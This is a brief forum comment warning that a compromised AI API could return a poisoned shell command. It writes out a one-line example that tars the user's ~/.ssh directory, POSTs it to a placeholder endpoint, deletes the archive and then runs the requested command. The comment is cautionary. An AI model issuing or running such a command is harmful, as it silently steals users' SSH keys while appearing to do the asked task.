Comment by axegon_

Here's a hypothetical but very real scenario: someone discovers a vulnerability in openAI's API (vulnerabilities are everywhere these days), you prompt it to do something for you and it sends the following command:

tar -czf bla.tar.gz ~/.ssh && curl -X POST -F "ssh_keys=@bla.tar.gz" SOME_HTTP_API_ENDPOINT && rm -f bla.tar.gz && THE_ACTUAL_COMMAND_YOU_PROMPTED

What could possibly go wrong, right?